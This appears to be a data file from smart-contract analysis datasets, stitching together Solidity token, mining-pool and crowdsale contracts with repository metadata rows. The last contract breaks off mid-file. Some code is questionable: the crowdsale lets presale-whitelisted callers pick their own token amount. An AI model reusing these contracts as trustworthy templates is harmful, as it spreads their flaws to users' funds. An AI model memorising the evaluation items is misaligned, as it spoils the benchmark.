function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract GovernedMinterRole is Module {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor(address _nexus) internal Module(_nexus) {
}
modifier onlyMinter() {
require(isMinter(msg.sender), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyGovernor {
_addMinter(account);
}
function removeMinter(address account) public onlyGovernor {
_removeMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract ERC20Burnable is Context, ERC20 {
function burn(uint256 amount) public {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
}
contract MetaToken is
ERC20,
GovernedMinterRole,
ERC20Detailed,
ERC20Burnable
{
constructor(address _nexus,
address _initialRecipient)
public
GovernedMinterRole(_nexus)
ERC20Detailed("Meta",
"MTA",
18)
{
// 100m initial supply
_mint(_initialRecipient, 100000000 * (10 ** 18));
}
// Forked from @openzeppelin
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
_mint(account, amount);
return true;
}
}
| 334,978 | 357 |
8aac18ea7c3f9f28831819b3c7dd59d4ccbbeb2c0f9e18bae63159013cc9e0ab
| 22,105 |
.sol
|
Solidity
| false |
316275714
|
giacomofi/Neural_Smart_Ponzi_Recognition
|
a26fb280753005b9b9fc262786d5ce502b3f8cd3
|
Not_Smart_Ponzi_Source_Code/0x8fe4bac704fb5244c57d22473ab8255c322ca15b.sol
| 4,683 | 18,097 |
pragma solidity >=0.4.25 <0.6.0;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "Only contract owner can call this method");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Owner can't be set to zero address");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
require(b <= a, "SafeMath: subtraction overflow");
uint c = a - b;
return c;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function mod(uint a, uint b) internal pure returns (uint) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0), "Address to can't be zero address");
require(_value <= balances[msg.sender], "Balance less than transfer value");
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract Pausable is Ownable {
event PausePublic(bool newState);
event PauseOwnerAdmin(bool newState);
bool public pausedPublic = false;
bool public pausedOwnerAdmin = false;
address public admin;
modifier whenNotPaused() {
if(pausedPublic) {
if(!pausedOwnerAdmin) {
require(msg.sender == admin || msg.sender == owner, "Only admin or owner can call with pausedPublic");
} else {
revert("all paused");
}
}
_;
}
function pause(bool newPausedPublic, bool newPausedOwnerAdmin) public onlyOwner {
require(!(newPausedPublic == false && newPausedOwnerAdmin == true), "PausedPublic can't be false while pausedOwnerAdmin is true");
pausedPublic = newPausedPublic;
pausedOwnerAdmin = newPausedOwnerAdmin;
emit PausePublic(newPausedPublic);
emit PauseOwnerAdmin(newPausedOwnerAdmin);
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0), "Address to can't be zero address");
require(_value <= balances[_from], "Balance less than transfer value");
require(_value <= allowed[_from][msg.sender], "Allowed balance less than transfer value");
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract PollToken is PausableToken {
uint8 private constant _decimals = 8;
uint constant fourYears = 4 * 365 days;
struct Poll {
//
uint amountPerMinute;
//
uint lastMineTime;
// 0
uint currentDecayPeriod;
//
uint totalMine;
//
address account;
//
uint startTime;
//
uint leftMine;
}
Poll private businessPoll = Poll({
amountPerMinute: 23852740 * (10 ** uint(_decimals)) / (24 * 60),
lastMineTime: 0,
currentDecayPeriod: 0,
totalMine: 0,
account: address(0),
startTime: 0,
leftMine: 0
});
Poll private communityPoll = Poll({
amountPerMinute: 6815068 * (10 ** uint(_decimals)) / (24 * 60),
lastMineTime: 0,
currentDecayPeriod: 0,
totalMine: 0,
account: address(0),
startTime: 0,
leftMine: 0
});
Poll private techPoll = Poll({
amountPerMinute: 3407534 * (10 ** uint(_decimals)) / (24 * 60),
lastMineTime: 0,
currentDecayPeriod: 0,
totalMine: 0,
account: address(0),
startTime: 0,
leftMine: 0
});
function _setPollAccount(address account, Poll storage poll) private {
require(account != address(0), "Poll account can't be zero address");
poll.account = account;
}
function setBusinessAccount(address account) public onlyOwner {
_setPollAccount(account, businessPoll);
}
function setCommunityAccount(address account) public onlyOwner {
_setPollAccount(account, communityPoll);
}
function setTechAccount(address account) public onlyOwner {
_setPollAccount(account, techPoll);
}
function setAllAccount(address businessAcc, address communityAcc, address techAcc) public onlyOwner {
_setPollAccount(businessAcc, businessPoll);
_setPollAccount(communityAcc, communityPoll);
_setPollAccount(techAcc, techPoll);
}
function _activePoll(Poll storage poll) private {
require(poll.startTime == 0, "Poll has actived");
poll.startTime = now;
}
function activeBusinessPoll() public onlyOwner {
_activePoll(businessPoll);
}
function activeCommunityPoll() public onlyOwner {
_activePoll(communityPoll);
}
function activeTechPoll() public onlyOwner {
_activePoll(techPoll);
}
function _getAvailablePoll(Poll memory poll) private view returns (uint, uint, uint) {
if (poll.startTime == 0) {
return (0, 0, 0);
}
uint duration = 0;
uint amount = 0;
uint curTime = now;
//
uint currentDecayPeriod = (curTime - poll.startTime) / fourYears;
//
uint lastDecayPeriod = 0;
if (poll.lastMineTime > 0) {
duration = curTime - poll.lastMineTime;
lastDecayPeriod = (poll.lastMineTime - poll.startTime) / fourYears;
} else {
duration = curTime - poll.startTime;
}
if (currentDecayPeriod == lastDecayPeriod) {
//
amount = poll.amountPerMinute * duration / (60 * 2 ** currentDecayPeriod);
}
else {
uint right_duration = (curTime - poll.startTime) % fourYears;
if (poll.lastMineTime > 0 && ((poll.lastMineTime - poll.startTime) % fourYears != 0)) {
uint left_duration = fourYears - (poll.lastMineTime - poll.startTime) % fourYears;
amount = amount + poll.amountPerMinute * left_duration / (60 * 2 ** lastDecayPeriod);
}
amount = amount + poll.amountPerMinute * right_duration / (60 * 2 ** currentDecayPeriod);
//
if (poll.lastMineTime == 0) {
for (uint i = lastDecayPeriod; i < currentDecayPeriod; i++) {
amount = amount + poll.amountPerMinute * fourYears / (60 * 2 ** i);
}
}
//
else if (poll.lastMineTime > 0 && ((poll.lastMineTime - poll.startTime) % fourYears == 0)) {
for (uint i = lastDecayPeriod; i < currentDecayPeriod; i++) {
amount = amount + poll.amountPerMinute * fourYears / (60 * 2 ** i);
}
}
else {
for (uint i = lastDecayPeriod + 1; i < currentDecayPeriod; i++) {
amount = amount + poll.amountPerMinute * fourYears / (60 * 2 ** i);
}
}
}
uint availableAmount = amount + poll.leftMine;
uint totalMine = amount + poll.totalMine;
return (currentDecayPeriod, totalMine, availableAmount);
}
function getAvailableBPoll() public view returns (uint, uint, uint) {
return _getAvailablePoll(businessPoll);
}
function getAvailableCpoll() public view returns (uint, uint, uint) {
return _getAvailablePoll(communityPoll);
}
function getAvailableTpoll() public view returns (uint, uint, uint) {
return _getAvailablePoll(techPoll);
}
function _getPollInfo(Poll memory poll) private view
returns (uint,uint, uint, uint, address, uint, uint) {
uint currentDecayPeriod;
uint totalMine;
uint leftMine;
(currentDecayPeriod, totalMine, leftMine) = _getAvailablePoll(poll);
return (poll.amountPerMinute, poll.lastMineTime, currentDecayPeriod, totalMine, poll.account, poll.startTime, leftMine);
}
function getBPollInfo() public view
returns (uint,uint, uint, uint, address, uint, uint) {
return _getPollInfo(businessPoll);
}
function getTPollInfo() public view
returns (uint,uint, uint, uint, address, uint, uint) {
return _getPollInfo(techPoll);
}
function getCPollInfo() public view
returns (uint,uint, uint, uint, address, uint, uint) {
return _getPollInfo(communityPoll);
}
function getLiquidity() public view returns (uint) {
return 500000000 * 10 ** uint(_decimals) + businessPoll.totalMine + communityPoll.totalMine + techPoll.totalMine;
}
function _minePoll(Poll storage poll, uint value) private {
require(value > 0, "Take value must more than zero");
require(poll.startTime > 0, "Poll not start");
require(poll.account != address(0), "businessAccount can't be zero address");
uint duration = 0;
uint amount = 0;
uint curTime = now;
uint _value = value * 10 ** uint(_decimals);
//
uint currentDecayPeriod = (curTime - poll.startTime) / fourYears;
//
uint lastDecayPeriod = 0;
if (poll.lastMineTime > 0) {
duration = curTime - poll.lastMineTime;
lastDecayPeriod = (poll.lastMineTime - poll.startTime) / fourYears;
} else {
duration = curTime - poll.startTime;
}
if (currentDecayPeriod == lastDecayPeriod) {
//
amount = poll.amountPerMinute * duration / (60 * 2 ** currentDecayPeriod);
}
else {
uint right_duration = (curTime - poll.startTime) % fourYears;
if (poll.lastMineTime > 0 && ((poll.lastMineTime - poll.startTime) % fourYears != 0)) {
uint left_duration = fourYears - (poll.lastMineTime - poll.startTime) % fourYears;
amount = amount + poll.amountPerMinute * left_duration / (60 * 2 ** lastDecayPeriod);
}
amount = amount + poll.amountPerMinute * right_duration / (60 * 2 ** currentDecayPeriod);
//
if (poll.lastMineTime == 0) {
for (uint i = lastDecayPeriod; i < currentDecayPeriod; i++) {
amount = amount + poll.amountPerMinute * fourYears / (60 * 2 ** i);
}
}
//
else if (poll.lastMineTime > 0 && ((poll.lastMineTime - poll.startTime) % fourYears == 0)) {
for (uint i = lastDecayPeriod; i < currentDecayPeriod; i++) {
amount = amount + poll.amountPerMinute * fourYears / (60 * 2 ** i);
}
}
else {
for (uint i = lastDecayPeriod + 1; i < currentDecayPeriod; i++) {
amount = amount + poll.amountPerMinute * fourYears / (60 * 2 ** i);
}
}
}
require(_value <= (poll.leftMine + amount), "Take value too large");
uint left = poll.leftMine + amount - _value;
poll.leftMine = left;
balances[poll.account] = balances[poll.account] + _value;
poll.totalMine = poll.totalMine + amount;
poll.lastMineTime = curTime;
poll.currentDecayPeriod = currentDecayPeriod;
emit Transfer(address(0x0), poll.account, _value);
}
function mineBusinessPoll(uint value) public onlyOwner {
_minePoll(businessPoll, value);
}
function mineCommunityPoll(uint value) public onlyOwner {
_minePoll(communityPoll, value);
}
function mineTechPoll(uint value) public onlyOwner {
_minePoll(techPoll, value);
}
}
contract SuperPointsToken is PollToken {
string public constant name = "SuperPoints Token";
string public constant symbol = "SPT";
uint8 public constant decimals = 8;
uint public constant initLiquidity = 500000000 * 10 ** uint(decimals);
bool private changed;
modifier validDestination(address to)
{
require(to != address(0x0), "Address to can't be zero address");
require(to != address(this), "Address to can't be contract address");
_;
}
constructor() public {
// assign the admin account
admin = msg.sender;
changed = false;
totalSupply = 100000000000 * 10**uint256(decimals);
balances[msg.sender] = initLiquidity;
emit Transfer(address(0x0), msg.sender, initLiquidity);
}
function transfer(address _to, uint _value) public validDestination(_to) returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) public validDestination(_to) returns (bool) {
return super.transferFrom(_from, _to, _value);
}
event Burn(address indexed _burner, uint _value);
function burn(uint _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0x0), _value);
return true;
}
// save some gas by making only one contract call
function burnFrom(address _from, uint256 _value) public returns (bool) {
assert(transferFrom(_from, msg.sender, _value));
return burn(_value);
}
function emergencyERC20Drain(ERC20 token, uint amount) public onlyOwner {
// owner can drain tokens that are sent here by mistake
token.transfer(owner, amount);
}
event AdminTransferred(address indexed previousAdmin, address indexed newAdmin);
function changeAdmin(address newAdmin) public onlyOwner {
// owner can re-assign the admin
emit AdminTransferred(admin, newAdmin);
admin = newAdmin;
}
function changeAll(address newOwner) public onlyOwner{
if (!changed){
// transfer(newOwner,totalSupply);
// transfer(newOwner, balanceOf(msg.sender))
changeAdmin(newOwner);
transferOwnership(newOwner);
changed = true;
}
}
}
| 339,600 | 358 |
198f2efdd1a106cd9588b1938ecaf1e7bee450cffa4a6fb9e2e7090239dd1f85
| 18,021 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0xe5cdefab7060b0d83d30106ef91d064409e4b118.sol
| 3,073 | 11,101 |
pragma solidity ^0.4.23;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
require(!halted);
_;
}
modifier stopNonOwnersInEmergency {
require(!halted && msg.sender == owner);
_;
}
modifier onlyInEmergency {
require(halted);
_;
}
// called by the owner on emergency, triggers stopped state
function halt() external onlyOwner {
halted = true;
}
// called by the owner on end of emergency, returns to normal state
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
library SafeMathLib {
function times(uint a, uint b) public pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract FractionalERC20 {
uint public decimals;
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract HoardCrowdsale is Haltable {
using SafeMathLib for uint;
FractionalERC20 public token;
address public multisigWallet;
address public foundersTeamMultisig;
uint public minimumFundingGoal = 3265000000000000000000; // 3265 ETH in Wei
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public presaleTokensSold = 0;
uint public prePresaleTokensSold = 0;
uint public presaleTokenLimit = 80000000000000000000000000; //80,000,000 token
uint public crowdsaleTokenLimit = 120000000000000000000000000; //120,000,000 token
uint public percentageOfSoldTokensForFounders = 50; // 50% of solded token as bonus to founders team multiSig wallet
uint public tokensForFoundingBoardWallet;
address public beneficiary;
uint public weiRaised = 0;
uint public presaleWeiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public presaleWhitelist;
mapping (address => bool) public participantWhitelist;
uint public ownerTestValue;
uint public oneTokenInWei;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
// A new investment was made
event Invested(address investor, uint weiAmount, uint tokenAmount);
// Refund was processed for a contributor
event Refund(address investor, uint weiAmount);
// Address participation whitelist status changed
event Whitelisted(address[] addr, bool status);
// Presale Address participation whitelist status changed
event PresaleWhitelisted(address addr, bool status);
// Crowdsale start time has been changed
event StartsAtChanged(uint newStartsAt);
// Crowdsale end time has been changed
event EndsAtChanged(uint newEndsAt);
// Crowdsale token price has been changed
event TokenPriceChanged(uint tokenPrice);
// Crowdsale multisig address has been changed
event MultiSigChanged(address newAddr);
// Crowdsale beneficiary address has been changed
event BeneficiaryChanged(address newAddr);
// Founders Team Wallet Address Changed
event FoundersWalletChanged(address newAddr);
// Founders Team Token Allocation Percentage Changed
event FoundersTokenAllocationChanged(uint newValue);
// Pre-Presale Tokens Value Changed
event PrePresaleTokensValueChanged(uint newValue);
constructor(address _token, uint _oneTokenInWei, address _multisigWallet, uint _start, uint _end, address _beneficiary, address _foundersTeamMultisig) public {
require(_multisigWallet != address(0) && _start != 0 && _end != 0 && _start <= _end);
owner = msg.sender;
token = FractionalERC20(_token);
oneTokenInWei = _oneTokenInWei;
multisigWallet = _multisigWallet;
startsAt = _start;
endsAt = _end;
beneficiary = _beneficiary;
foundersTeamMultisig = _foundersTeamMultisig;
}
function() payable public {
investInternal(msg.sender,0);
}
function invest(address addr,uint tokenAmount) public payable {
investInternal(addr,tokenAmount);
}
function investInternal(address receiver, uint tokens) stopInEmergency internal returns(uint tokensBought) {
uint weiAmount = msg.value;
uint tokenAmount = tokens;
if(getState() == State.PreFunding || getState() == State.Funding) {
if(presaleWhitelist[msg.sender]){
// Allow presale particaipants
presaleWeiRaised = presaleWeiRaised.add(weiAmount);
presaleTokensSold = presaleTokensSold.add(tokenAmount);
require(presaleTokensSold <= presaleTokenLimit);
}
else if(participantWhitelist[receiver]){
uint multiplier = 10 ** token.decimals();
tokenAmount = weiAmount.times(multiplier) / oneTokenInWei;
// Allow whitelisted participants
}
else {
revert();
}
} else {
// Unwanted state
revert();
}
// Dust transaction
require(tokenAmount != 0);
if(investedAmountOf[receiver] == 0) {
// A new investor
investorCount++;
}
// Update investor
investedAmountOf[receiver] = investedAmountOf[receiver].add(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].add(tokenAmount);
// Update totals
weiRaised = weiRaised.add(weiAmount);
tokensSold = tokensSold.add(tokenAmount);
require(tokensSold.sub(presaleTokensSold) <= crowdsaleTokenLimit);
// Check that we did not bust the cap
require(!isBreakingCap(tokenAmount));
require(token.transferFrom(beneficiary, receiver, tokenAmount));
emit Invested(receiver, weiAmount, tokenAmount);
multisigWallet.transfer(weiAmount);
return tokenAmount;
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
require(!finalized); // Not already finalized
// How many % of tokens the founders and others get
tokensForFoundingBoardWallet = tokensSold.times(percentageOfSoldTokensForFounders) / 100;
tokensForFoundingBoardWallet = tokensForFoundingBoardWallet.add(prePresaleTokensSold);
require(token.transferFrom(beneficiary, foundersTeamMultisig, tokensForFoundingBoardWallet));
finalized = true;
}
function setFoundersTokenAllocation(uint _percentageOfSoldTokensForFounders) public onlyOwner{
percentageOfSoldTokensForFounders = _percentageOfSoldTokensForFounders;
emit FoundersTokenAllocationChanged(percentageOfSoldTokensForFounders);
}
function setEndsAt(uint time) onlyOwner public {
require(now < time && startsAt < time);
endsAt = time;
emit EndsAtChanged(endsAt);
}
function setStartsAt(uint time) onlyOwner public {
require(time < endsAt);
startsAt = time;
emit StartsAtChanged(startsAt);
}
function setMultisig(address addr) public onlyOwner {
multisigWallet = addr;
emit MultiSigChanged(addr);
}
function loadRefund() public payable inState(State.Failure) {
require(msg.value > 0);
loadedRefund = loadedRefund.add(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
require(weiValue > 0);
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.add(weiValue);
emit Refund(msg.sender, weiValue);
msg.sender.transfer(weiValue);
}
function isMinimumGoalReached() public view returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function getState() public view returns (State) {
if(finalized) return State.Finalized;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner public {
ownerTestValue = val;
}
function setPrePresaleTokens(uint _value) onlyOwner public {
prePresaleTokensSold = _value;
emit PrePresaleTokensValueChanged(_value);
}
function setParticipantWhitelist(address[] addr, bool status) onlyOwner public {
for(uint i = 0; i < addr.length; i++){
participantWhitelist[addr[i]] = status;
}
emit Whitelisted(addr, status);
}
function setPresaleWhitelist(address addr, bool status) onlyOwner public {
presaleWhitelist[addr] = status;
emit PresaleWhitelisted(addr, status);
}
function setPricing(uint _oneTokenInWei) onlyOwner public{
oneTokenInWei = _oneTokenInWei;
emit TokenPriceChanged(oneTokenInWei);
}
function changeBeneficiary(address _beneficiary) onlyOwner public{
beneficiary = _beneficiary;
emit BeneficiaryChanged(beneficiary);
}
function changeFoundersWallet(address _foundersTeamMultisig) onlyOwner public{
foundersTeamMultisig = _foundersTeamMultisig;
emit FoundersWalletChanged(foundersTeamMultisig);
}
function isCrowdsale() public pure returns (bool) {
return true;
}
//
// Modifiers
//
modifier inState(State state) {
require(getState() == state);
_;
}
function isBreakingCap(uint tokenAmount) public view returns (bool limitBroken) {
if(tokenAmount > getTokensLeft()) {
return true;
} else {
return false;
}
}
function isCrowdsaleFull() public view returns (bool) {
return getTokensLeft() == 0;
}
function getTokensLeft() public view returns (uint) {
return token.allowance(beneficiary, this);
}
}
| 220,790 | 359 |
29015f22fe4b8521fc2a41d28a76e539fcb7f94d692f459c1b756d2d0c58ea91
| 16,423 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0xf19f629642c6697af77d8316bef8de0de3a27a70.sol
| 3,578 | 14,633 |
pragma solidity ^0.5.10;
/// @title Owned
/// @author Adri Massanet <adria@codecontext.io>
/// @notice The Owned contract has an owner address, and provides basic
/// authorization control functions, this simplifies & the implementation of
/// user permissions; this contract has three work flows for a change in
/// ownership, the first requires the new owner to validate that they have the
/// ability to accept ownership, the second allows the ownership to be
/// directly transfered without requiring acceptance, and the third allows for
/// the ownership to be removed to allow for decentralization
contract Owned {
address public owner;
address public newOwnerCandidate;
event OwnershipRequested(address indexed by, address indexed to);
event OwnershipTransferred(address indexed from, address indexed to);
event OwnershipRemoved();
/// @dev The constructor sets the `msg.sender` as the`owner` of the contract
constructor() public {
owner = msg.sender;
}
/// @dev `owner` is the only address that can call a function with this
/// modifier
modifier onlyOwner() {
require (msg.sender == owner);
_;
}
/// @dev In this 1st option for ownership transfer `proposeOwnership()` must
/// be called first by the current `owner` then `acceptOwnership()` must be
/// called by the `newOwnerCandidate`
/// @notice `onlyOwner` Proposes to transfer control of the contract to a
/// new owner
/// @param _newOwnerCandidate The address being proposed as the new owner
function proposeOwnership(address _newOwnerCandidate) public onlyOwner {
newOwnerCandidate = _newOwnerCandidate;
emit OwnershipRequested(msg.sender, newOwnerCandidate);
}
/// @notice Can only be called by the `newOwnerCandidate`, accepts the
/// transfer of ownership
function acceptOwnership() public {
require(msg.sender == newOwnerCandidate);
address oldOwner = owner;
owner = newOwnerCandidate;
newOwnerCandidate = address(0);
emit OwnershipTransferred(oldOwner, owner);
}
/// @dev In this 2nd option for ownership transfer `changeOwnership()` can
/// be called and it will immediately assign ownership to the `newOwner`
/// @notice `owner` can step down and assign some other address to this role
/// @param _newOwner The address of the new owner
function changeOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
address oldOwner = owner;
owner = _newOwner;
newOwnerCandidate = address(0);
emit OwnershipTransferred(oldOwner, owner);
}
/// @dev In this 3rd option for ownership transfer `removeOwnership()` can
/// be called and it will immediately assign ownership to the 0x0 address;
/// it requires a 0xdece be input as a parameter to prevent accidental use
/// @notice Decentralizes the contract, this operation cannot be undone
/// @param _dac `0xdac` has to be entered for this function to work
function removeOwnership(address _dac) public onlyOwner {
require(_dac == address(0xdAc0000000000000000000000000000000000000));
owner = address(0);
newOwnerCandidate = address(0);
emit OwnershipRemoved();
}
}
/// @dev `Escapable` is a base level contract built off of the `Owned`
/// contract; it creates an escape hatch function that can be called in an
/// emergency that will allow designated addresses to send any ether or tokens
/// held in the contract to an `escapeHatchDestination` as long as they were
/// not blacklisted
contract Escapable is Owned {
address public escapeHatchCaller;
address payable public escapeHatchDestination;
mapping (address=>bool) private escapeBlacklist; // Token contract addresses
/// @notice The Constructor assigns the `escapeHatchDestination` and the
/// `escapeHatchCaller`
/// @param _escapeHatchCaller The address of a trusted account or contract
/// to call `escapeHatch()` to send the ether in this contract to the
/// `escapeHatchDestination` it would be ideal that `escapeHatchCaller`
/// cannot move funds out of `escapeHatchDestination`
/// @param _escapeHatchDestination The address of a safe location (usu a
/// Multisig) to send the ether held in this contract; if a neutral address
/// is required, the WHG Multisig is an option:
/// 0x8Ff920020c8AD673661c8117f2855C384758C572
constructor(address _escapeHatchCaller, address payable _escapeHatchDestination) public {
escapeHatchCaller = _escapeHatchCaller;
escapeHatchDestination = _escapeHatchDestination;
}
/// @dev The addresses preassigned as `escapeHatchCaller` or `owner`
/// are the only addresses that can call a function with this modifier
modifier onlyEscapeHatchCallerOrOwner {
require ((msg.sender == escapeHatchCaller)||(msg.sender == owner));
_;
}
/// @notice Creates the blacklist of tokens that are not able to be taken
/// out of the contract; can only be done at the deployment, and the logic
/// to add to the blacklist will be in the constructor of a child contract
/// @param _token the token contract address that is to be blacklisted
function blacklistEscapeToken(address _token) internal {
escapeBlacklist[_token] = true;
emit EscapeHatchBlackistedToken(_token);
}
